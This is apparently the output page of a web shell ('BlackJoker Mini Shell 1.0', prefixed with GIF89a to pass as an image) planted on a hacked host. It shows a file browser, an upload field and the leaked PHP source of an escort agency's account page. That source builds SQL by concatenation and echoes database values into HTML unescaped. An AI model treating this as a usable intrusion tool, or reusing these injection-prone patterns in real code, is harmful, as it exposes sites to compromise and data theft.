GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/agency-escorts.php

<?  session_start();  
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	$page="my_account";
?>


<? include "includes/header_top.php";?>

<script>
      function del_record(id)
   {
	 var msg="Sure to delete this escort with all it's references ? ";
	 var choice=confirm(msg);
	 if(choice)
	 {
	   var target="delete_agencyescort.php?id="+id;
	   //alert(target);
	   window.location.href=target;
	 }
   }
	
	 
</script>		

<body>
 <? include "includes/header.php";?>

	<div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                    	<div class="left_containmain"> 
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="agency-account.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agency-escorts.php"><img src="images/add_escort.png" style="width:52px; height:52px; vertical-align:middle" /><br/>My Escorts</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="#"><img src="images/my_videos.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Videos</a></td>
                                    <!-- <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/verifyimage.png" style="width:55px; height:55px; vertical-align:middle" /><br/> 100% verify</td>-->
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="#"><img src="images/my_tour.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Tours</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                    
                                    
                                    
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agencypassword-setting.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                    <!-- <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Black List</td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>-->
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                                <!--<tr>
                                	<td class="updatehdrstyle23"><a href="#"><img src="images/my_block.png" style="vertical-align:middle;" /><br/>Block</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agencypassword-setting.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                
                                </tr>-->
                            	
                            </table>
            						
						
                        	</div>
                           <br/>
                           <div style=" width:980px; float:right; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		<div class="addnewescort">
                                	<table border="0" cellpadding="0" cellpadding="0">
                                    	<tr height="10"></tr>
                                        <tr>
                                        	<td><a href="add-agencyescort.php"><img src="images/addnew_escort.png" /></a></td>
                                        </tr>
                                    </table>
                                </div>
                                <div class="addnewescortmsg">
                                	<table border="0" cellpadding="0" cellpadding="0" style="margin:0 auto;">
                                    	
                                        <tr>
                                        	<td align="center"><? if($_GET['msg']==2){ ?>
                                            <p class="passwordmsg">Your payment has been done successfully for VIP Members</p>
                                        <? } ?></td>
                                        </tr>
                                        <tr>
                                        	<td align="center"><? if($_GET['msg']==1){ ?>
                                            <p class="passwordmsg">You have successfully submit your ad and viewable soon.</p>
                                        <? } ?></td>
                                        </tr>
                                    </table>
                                </div>
            					<div class="allagencyest">
                                	<?
										$sql_escorts="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."' And status='a'";
										$res_escorts=execute_query($sql_escorts);										
										while($row_escorts=mysql_fetch_array($res_escorts))
										{
									?>
                                    <div class="escortpicsdiv22" style="margin-bottom:9px; height:422px !important;">
                                            
                                                <div class="estname">
													<h1><?=$row_escorts['nickname']?></h1></div>
                                                <div class="estimage">
                                                
                                                <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$row_escorts['id']."'";
													$res_image=execute_query($sql_image);
													
													$row_image=mysql_fetch_array($res_image);
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="escort-service-dtls.php?name=<?=$row_escorts['nickname']?>&phone=<?=$row_escorts['tel_national']?>&cityname=<?=$row_escorts['escort_city']?>"><img src="thubigg/<?=$row_image['picture']?>" /></a>
                                                  <? } else
                                                  { ?>
                                                   <a href="escort-service-dtls.php?name=<?=$row_escorts['nickname']?>&phone=<?=$row_escorts['tel_national']?>&cityname=<?=$row_escorts['escort_city']?>"> <img src="images/no_photo_female.gif" /></a>
                                                  
                                                  <? } ?>
                                                
                                                </div>
                                                <div class="estlocation222">
                                                	<table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto">
                                                    	<tr height="3"></tr>
                                                        <tr>
                                                        	<td><a href="edit-agencyescorts.php?estid=<?=$row_escorts['id']?>"><img src="images/agencyedit.png" /></a></td>
                                                            <td width="5"></td>
                                                            <td><a href="edit-agencyescortimg.php?estid=<?=$row_escorts['id']?>"><img src="images/agencygallery.png" /></a></td>
                                                        </tr>
                                                        <tr height="3"></tr>
                                                        <tr>
                                                        	<td><a href="edit-agencyestvideo.php?estid=<?=$row_escorts['id']?>"><img src="images/agencyvideo.png" /></a></td>
                                                            <td width="5"></td>
                                                            <td><a href="delete_agencyescort.php?id=<?=$row_escorts['id']?>"><img src="images/agencyremove.png" /></a></td>
                                                        </tr>
                                                        <tr height="3"></tr>
                                                        <tr>
                                                        	<?
															
																 if($row_escorts['ft_ad_status']=='Yes')
																  {
																		$todaydate=date('Y-m-d');
																		$exp=$row_escorts['ft_ad_expair'];
																		if($todaydate>$exp)
																		   {?>
																			<td><a href="advertise-vipmember.php?estid=<?=$row_escorts['id']?>"><img src="images/agencyvipmember.png" /></a></td>
																		 <? }
																		else
																		 { ?>
																			 <td><img src="images/agencyvipmember.png" /></td>  
																		<? }
																		
																		
																 
																}
															   
																else
																	{?>                                   
															
																	<td><a href="advertise-vipmember.php?estid=<?=$row_escorts['id']?>"><img src="images/agencyvipmember.png" /></a></td>
																<? } ?>	
                                                            
                                                            <td width="5"></td>
                                                            <td></td>
                                                        </tr>
                                                    </table>
                                                </div>
                                            
                                            </div>
                                            <? } ?>
                                    <br class="spacer" />
                                
                                </div>	
						
                        	</div>
                         	<br class="spacer" />
                        </div>
                        
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0